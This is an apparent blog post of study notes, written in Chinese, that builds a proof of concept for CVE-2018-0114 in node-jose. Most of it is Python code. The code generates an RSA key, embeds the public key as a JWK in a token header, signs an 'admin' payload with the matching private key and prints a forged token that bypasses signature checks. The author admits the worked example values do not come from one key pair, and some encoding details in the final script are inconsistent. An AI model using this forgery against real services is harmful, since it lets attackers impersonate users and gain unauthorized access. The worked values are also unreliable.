CVE-2018-0114 POC编写与实践

一篇水文。。。起名困难症(改了几次) 参考思路就行

POC构造思路

  1. 先生成rsa密钥 :public key 和private key
python
import rsa 

def generate_key(key_size):
    print('[+]Creating-RSA-pair-key')
    (public_key, private_key) = rsa.newkeys(key_size, poolsize=8)
    print("\t[+]Pair-Key-created")

    return private_key, public_key

private_key, public_key = generate_key(int(512))
  1. 提取 n,e:
python
print(public_key.n)

为:

python
7076715501507999070466602684619345782186000392746800466731867297328334333379571428801893507491054811882528149952022901781164450081630600727750713002635091

bytes转int(https://blog.csdn.net/iblade/article/details/73289831 )

python
def pack_bigint(i):
    b = bytearray()
    while i:
        b.append(i & 0xFF)
        i >>= 8
    return b[::-1]

然后再转为base64编码的

python
n=base64.urlsafe_b64encode(pack_bigint(pubkey.n)).decode('utf-8').rstrip('=')
e=base64.urlsafe_b64encode(pack_bigint(pubkey.e)).decode('utf-8').rstrip('=')

汇总一下写py脚本就是

python
def get_n_and_e(target):
    b = bytearray()
    while target:
        b.append( target & 0xFF)
        target >>= 8
    int_object = b[::-1]
    return base64.urlsafe_b64encode(int_object).decode('utf-8').rstrip('=')

获取到的n为:

python
mbS8ENZVgERqASWVZK892gvgZug3Cul46tR6lLZFcmM7_8ZA4vLuUWdwfrXsZtM6z_ORJmGz2mQQ10J5uhlgZw

获取到的e为

python
AQAB
  1. 构造header

将刚刚生成的n和e放入符合格式要求的header下(有jwk)

python
{
  "alg":"RS256",
  "jwk":  {
          "kty":"RSA",
          "kid":"bilbo.baggins@hobbiton.example",
          "use":"sig",
          "n":"mbS8ENZVgERqASWVZK892gvgZug3Cul46tR6lLZFcmM7_8ZA4vLuUWdwfrXsZtM6z_ORJmGz2mQQ10J5uhlgZw",
          "e":"AQAB"
          }
}

base64后则是:

python
ewogICJhbGciOiJSUzI1NiIsCiAgImp3ayI6ICB7CiAgICAgICAgICAia3R5IjoiUlNBIiwKICAgICAgICAgICJraWQiOiJiaWxiby5iYWdnaW5zQGhvYmJpdG9uLmV4YW1wbGUiLAogICAgICAgICAgInVzZSI6InNpZyIsCiAgICAgICAgICAibiI6Im1iUzhFTlpWZ0VScUFTV1ZaSzg5Mmd2Z1p1ZzNDdWw0NnRSNmxMWkZjbU03XzhaQTR2THVVV2R3ZnJYc1p0TTZ6X09SSm1HejJtUVExMEo1dWhsZ1p3IiwKICAgICAgICAgICJlIjoiQVFBQiIKICAgICAgICAgIH0KfQ
  1. 生成payload
python
def generate_payload():
    logined_in = b'admin'
    payload = base64.urlsafe_b64encode(logined_in).decode('utf-8').rstrip('=')
    return payload

生成后的

python
YWRtaW4
  1. 对header+payload部分进行sign
python
firstpart = "ewogICJhbGciOiJSUzI1NiIsCiAgImp3ayI6ICB7CiAgICAgICAgICAia3R5IjoiUlNBIiwKICAgICAgICAgICJraWQiOiJiaWxiby5iYWdnaW5zQGhvYmJpdG9uLmV4YW1wbGUiLAogICAgICAgICAgInVzZSI6InNpZyIsCiAgICAgICAgICAibiI6Im1iUzhFTlpWZ0VScUFTV1ZaSzg5Mmd2Z1p1ZzNDdWw0NnRSNmxMWkZjbU03XzhaQTR2THVVV2R3ZnJYc1p0TTZ6X09SSm1HejJtUVExMEo1dWhsZ1p3IiwKICAgICAgICAgICJlIjoiQVFBQiIKICAgICAgICAgIH0KfQ.YWRtaW4"
signature = rsa.sign(firstpart, private_key, 'SHA-256')
signature = base64.b64encode(signature)

最后为:

python
KlmabUs5RmdVCLWbjdWppgjy43kp9yxibCO8IHCXPV/oHGVziCIHS7XCdvATomjocdBM1ZnXU/nlJFWaK4Cuuw==
  1. 组合
python
ewogICJhbGciOiJSUzI1NiIsCiAgImp3ayI6ICB7CiAgICAgICAgICAia3R5IjoiUlNBIiwKICAgICAgICAgICJraWQiOiJiaWxiby5iYWdnaW5zQGhvYmJpdG9uLmV4YW1wbGUiLAogICAgICAgICAgInVzZSI6InNpZyIsCiAgICAgICAgICAibiI6Im1iUzhFTlpWZ0VScUFTV1ZaSzg5Mmd2Z1p1ZzNDdWw0NnRSNmxMWkZjbU03XzhaQTR2THVVV2R3ZnJYc1p0TTZ6X09SSm1HejJtUVExMEo1dWhsZ1p3IiwKICAgICAgICAgICJlIjoiQVFBQiIKICAgICAgICAgIH0KfQ.YWRtaW4.KlmabUs5RmdVCLWbjdWppgjy43kp9yxibCO8IHCXPV/oHGVziCIHS7XCdvATomjocdBM1ZnXU/nlJFWaK4Cuuw

上面的仅供参考参考,模块化执行的(写好笔记后发现举的例子里private_key和public_key不是一对)

汇总

参考github(POC-CVE-2018-0114/jwk-node-jose.py at master · zi0Black/POC-CVE-2018-0114 · GitHub) ,我写的代码:

python
import rsa 
import base64
from urllib.parse import quote_plus
import json 

def generate_key(key_size):
    print('[+]Creating-RSA-pair-key')
    (public_key, private_key) = rsa.newkeys(key_size, poolsize=8)
    print("\t[+]Pair-Key-created")

    return private_key, public_key

def get_n_and_e(target):
    b = bytearray()
    while target:
        b.append( target & 0xFF)
        target >>= 8
    int_object = b[::-1]
    return base64.urlsafe_b64encode(int_object).decode('utf-8').rstrip('=')

def generate_payload():
    logined_in = b'admin'
    payload = base64.urlsafe_b64encode(logined_in).decode('utf-8').rstrip('=')
    return payload
    print(payload)

def generate_header(public_key):
    n = get_n_and_e(public_key.n)
    e = get_n_and_e(public_key.e)

    format_header = {
      "alg":"RS256",
      "jwk":  {
              "kty":"RSA",
              "kid":"bilbo.baggins@hobbiton.example",
              "use":"sig",
              "n":f"{n}",
              "e":f"{e}"
              }
    }
    format_header = json.dumps(format_header)
    header = base64.b64encode(format_header.encode())
    return header

def sign(target,private_key):
    signature = rsa.sign(target, private_key, 'SHA-256')
    signature = base64.b64encode(signature)
    return signature


def output(header,payload,signature):
    auth = header+b'.'+payload+b'.'+signature
    auth = auth.decode('utf-8').rstrip('=') 
    return quote_plus(auth)
def main():
    private_key, public_key = generate_key(int(512))
    header = generate_header(public_key)
    payload = base64.b64encode(b'admin')
    signature = sign(header+b'.'+payload, private_key)
    print(output(header, payload, signature) )
main()
深入浅出SSRF(一) : 我的学习笔记
我的「搞机」日常(破真) - 开源系统GrapheneOS的推荐
Valaxy v0.18.6 驱动 | 主题 - Yun v0.18.6